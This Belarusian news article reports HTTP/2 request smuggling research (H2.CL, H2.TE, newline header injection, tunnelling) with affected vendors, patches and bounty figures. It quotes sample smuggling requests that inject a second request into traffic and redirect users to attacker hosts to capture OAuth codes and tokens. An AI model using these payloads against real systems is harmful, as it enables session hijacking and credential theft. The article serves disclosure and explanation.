Новая атака на сістэмы фронтэнд-бэкэнд, якая дазваляе ўклінавацца ў запыты

Web-сістэмы, у якіх фронтэнд прымае злучэнні па HTTP/2 і перадае бэкенду па HTTP/1.1, апынуліся схільныя новаму варыянту нападу «HTTP Request Smuggling», якая дазваляе праз адпраўку адмыслова аформленых кліенцкіх запытаў укліньвацца ў змесціва запытаў іншых карыстачоў, апрацоўваных у тым жа струмені паміж фронтэндам і бэкэндам. Атака можа быць скарыстана для падстаноўкі шкоднаснага JavaScript-кода ў сеанс з легітымным сайтам, абыходу сістэм абмежавання доступу і перахопу параметраў аўтэнтыфікацыі.

Праблеме схільныя web-проксі, балансавальнікі нагрузкі, web-акселератары, сістэмы дастаўкі кантэнту і іншыя канфігурацыі, у якіх запыты перанакіроўваюцца па схеме фронтэнд-бэкэнд. Аўтар даследавання прадэманстраваў магчымасць нападу на сістэмы Netflix, Verizon, Bitbucket, Netlify CDN і Atlassian, і атрымаў 56 тысяч даляраў у праграмах па выплаце ўзнагарод за выяўленне ўразлівасцяў. Наяўнасць праблемы таксама пацверджана ў прадуктах F5 Networks. Часткова праблема закранае mod_proxy у http-серверы Apache (CVE-2021-33193), выпраўленні чакаецца ў версіі 2.4.49 (распрацоўнікі былі апавешчаныя аб праблеме ў пачатку траўня і атрымалі 3 месяцы на выпраўленне). У nginx магчымасць адначасовага ўказання загалоўкаў "Content-Length" і "Transfer-Encoding былі блакіраваны ў мінулым выпуску (1.21.1). Сродкі для правядзення нападаў ужо дададзены ў інструментар Burp і даступныя ў форме пашырэння Turbo Intruder.

Прынцып дзеяння новага метаду ўкліноўвання запытаў у трафік аналагічны ўразлівасці, выяўленай тым жа даследчыкам два гады таму, але абмежаванай фронтэндамі, якія прымаюць запыты па HTTP/1.1. Нагадаем, што ў схеме фронтэнд-бэкенд запыты кліентаў прымае дадатковы вузел – фронтэнд, які ўсталёўвае доўгажывучыя TCP-злучэнне з бэкэндам, якія ажыццяўляюць непасрэдную апрацоўку запытаў. Праз дадзенае агульнае злучэнне звычайна перадаюцца запыты розных карыстачоў, якія ідуць па ланцужку адзін за іншым з падзелам сродкамі пратаколу HTTP.

Класічная атака "HTTP Request Smuggling" грунтавалася на тым, што фронтэнды і бэкэнды па-рознаму трактуюць выкарыстанне HTTP-загалоўкаў "Content-Length" (вызначае агульны памер дадзеных у запыце) і "Transfer-Encoding: chunked" (дазваляе перадаваць дадзеныя па частках) . Напрыклад, калі фронтэнд падтрымлівае толькі "Content-Length", але ігнаруе "Transfer-Encoding: chunked", то атакавалы можа адправіць запыт, у якім адначасова паказаны загалоўкі "Content-Length" і "Transfer-Encoding: chunked", але памер у "Content-Length" не адпавядае памеру chunked-ланцужкі. У гэтым выпадку фронтэнд апрацуе і перанакіруе запыт у адпаведнасці з "Content-Length", а бэкэнд будзе чакаць завяршэння блока на аснове "Transfer-Encoding: chunked" і пакінуты хвост запыту атакавалага апынецца спачатку чужога запыту, перададзенага следам.

У адрозненне ад тэкставага пратакола HTTP/1.1, разбор якога ажыццяўляецца на ўзроўні радкоў, HTTP/2 з'яўляецца бінарным пратаколам і маніпулюе блокамі дадзеных загадзя паказанага памеру. Пры гэтым у HTTP/2 выкарыстоўваюцца псеўда-загалоўкі, якія адпавядаюць звычайным загалоўкам HTTP. У выпадку ўзаемадзеяння з бэкэндам па пратаколе HTTP/1.1, фронтэнд транслюе гэтыя псеўда-загалоўкі ў аналагічныя HTTP-загалоўкі HTTP/1.1. Праблема ў тым, што бэкэнд прымае рашэнні аб разборы патоку ўжо на аснове выстаўленых фронтэндам HTTP-загалоўкаў, не маючы звестак аб параметрах першапачатковага запыту.

У тым ліку ў форме псеўда-загалоўкаў могуць быць перададзены значэнні "content-length" і "transfer-encoding", нягледзячы на ​​тое, што ў HTTP/2 яны не выкарыстоўваюцца, бо памер усіх дадзеных вызначаецца ў асобным полі. Тым не менш, падчас пераўтварэння запыту HTTP/2 у HTTP/1.1 дадзеныя загалоўкі пераносяцца і могуць увесці ў зман бэкенд. Вылучаецца два асноўных варыянту нападу: H2.TE і H2.CL, у якіх бэкэнд уводзіцца ў памылку некарэктным значэннем transfer-encoding або content-length, не адпаведным рэальнаму памеру цела запыту, які паступіў да фронтэнда па пратаколе HTTP/2.

Новая атака на сістэмы фронтэнд-бэкэнд, якая дазваляе ўклінавацца ў запыты

У якасці прыкладу нападу H2.CL прыводзіцца ўказанне некарэктнага памеру ў псеўда-загалоўку content-length пры адпраўцы запыту HTTP/2 да Netflix. Дадзены запыт прыводзіць да дадання аналагічнага HTTP-загалоўка Сontent-Length пры звароце да бэкенда па HTTP/1.1, але бо памер у Сontent-Length паказаны менш фактычнага, то частка дадзеных у хвасце апрацоўваецца як пачатак наступнага запыту.

Напрыклад, запыт HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Прывядзе да адпраўкі бэкэнду запыту: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Бо Content-Length мае значэнне 4, то бэкэнд успрыме ў якасці цела запыту толькі "abcd", а астатнюю частку "GET /n HTTP/1.1…" апрацуе як пачатак следам ідучага запыту, прывязанага да іншага карыстача. Адпаведна, адбудзецца рассінхранізацыя струменя і ў адказ на следуючы ідучы запыт будзе выдадзены вынік апрацоўкі падстаўнога запыту. У выпадку з Netflix указанне іншага хаста ў загалоўку "Host:" у падстаўным запыце прывяло да высновы кліенту адказу "Location: https://02.rs?x.netflix.com/n" і дазволіла перадаць кліенту адвольнае змесціва, у тым ліку выканаць свой JavaScript-код у кантэксце сайта Netflix.

Другі варыянт нападу (H2.TE) злучаны з падстаноўкай загалоўка "Transfer-Encoding: chunked". Выкарыстанне псеўда-загалоўка transfer-encoding у HTTP/2 забаронена спецыфікацыяй і запыты з ім прадпісана тлумачыць як некарэктныя. Нягледзячы на ​​гэта, некаторыя рэалізацыі фронтэндаў не ўлічваюць дадзенае патрабаванне і дапушчаюць выкарыстанне псвеўда-загалоўка transfer-encoding у HTTP/2, які пераўтворыцца ў аналагічны загаловак HTTP. Пры наяўнасці загалоўка "Transfer-Encoding" бэкэнд можа ўспрыняць яго больш прыярытэтным і выканаць разбор дадзеных па частках у рэжыме "chunked" з выкарыстаннем блокаў рознага памеру ў фармаце "{памер}\r\n{блок}\r\n{памер} \r\n{блок}\r\n0», нягледзячы на ​​першапачатковы падзел па агульным памеры.

Наяўнасць падобнага пралома было прадэманстравана на прыкладзе кампаніі Verizon. Пры гэтым праблема датычылася партала аўтэнтыфікацыі і сістэмы кіравання кантэнтам, якая таксама выкарыстоўваецца на такіх сайтах як Huffington Post і Engadget. Напрыклад, запыт кліента па HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=

Прыводзіў да перадачы бэкэнду запыту HTTP/1.1: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 Length: 1.1 x=

Бэкенд, у сваю чаргу, ігнараваў загаловак "Content-Length" і выконваў падзел у струмені на аснове "Transfer-Encoding: chunked". На практыцы атака дазволіла перанакіраваць запыты карыстальнікаў на свой сайт і ў тым ліку перахапіць запыты, звязаныя з аўтэнтыфікацыяй OAuth, параметры якіх свяціліся ў загалоўку Referer, а таксама сімуляваць сеанс аўтэнтыфікацыі і ініцыяваць адпраўку сістэмай карыстальніка уліковых дадзеных на хост атакавалага. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Аўтар: Bearer eyJhcGwiOiJIUzI1

Для нападу на рэалізацыі HTTP/2, не дапушчальныя ўказанне псеўда-загалоўка transfer-encoding, быў прапанаваны яшчэ адзін метад, злучаны з падстаноўкай загалоўка «Transfer-Encoding» праз яго прымацаванне да іншых псеўда-загалоўкаў з падзелам знакам перакладу радка (пры пераўтварэнні ў HTTP/1.1 у падобным выпадку ствараецца два асобных HTTP-загалоўка).

Напрыклад паказанай праблеме апынуліся схільныя Atlassian Jira і Netlify CDN (выкарыстоўваецца для аддачы стартавай старонкі Mozilla у Firefox). У прыватнасці, запыт HTTP/2 :method POST :path / :authority start.mozilla.org foo transfer-encoding: chunked 0 : evil-netlify-domain\r\n Content-Length: 1.1\r\n \r\nx=

прыводзіў да адпраўкі бэкэнду запыту HTTP/1.1 POST / HTTP/1.1 Host: start.mozilla.org Foo: Transfer-Encoding: chunked Content-Length: 71 r\n 0\r\n GET / HTTP/1.1r Host: evil-netlify-domain Content-Length: 5\r\nx=

Яшчэ адным варыянтам падстаноўкі загалоўка "Transfer-Encoding" стала прымацаванне яго да імя іншага псеўдазагалоўка або да радка з метадам запыту. Напрыклад, пры звароце да Atlassian Jira імя псеўда-загалоўка "foo: bar\ntransfer-encoding" са значэннем "chunked" прыводзіла да дадання HTTP-загалоўкаў "foo: bar" і "transfer-encoding: chunked", а ўказанне ў псеўда-загалоўку «:method» значэння «GET / HTTP/1.1 Transfer-encoding: chunked» транслявалася ў «GET / HTTP/1.1 transfer-encoding: chunked».

Які выявіў праблему даследнік таксама прапанаваў тэхніку тунэлінгу запытаў для здзяйснення нападу на фронтэнды, у якіх для кожнага IP-адрасы ўсталёўваецца асобнае злучэнне з бэкэндам і трафік розных карыстачоў не змешваецца. Прапанаваная тэхніка не дазваляе ўкліньвацца ў запыты іншых карыстачоў, але дае магчымасць атруціць агульны кэш, які ўплывае на апрацоўку іншых запытаў, і дазваляе выканаць падстаноўку ўнутраных HTTP-загалоўкаў, выкарыстоўваных для перадачы службовых звестак ад фронтэнда да бэкенда (напрыклад, пры аўтэнтыфікацыі на боку фронтэнда ў падобных загалоўках бэкенду могуць перадавацца звесткі аб бягучым карыстальніку). У якасці прыкладу прымянення метаду на практыцы пры дапамозе атручвання кэша ўдалося атрымаць кантроль за старонкамі ў сэрвісе Bitbucket.

Крыніца: opennet.ru

Дадаць каментар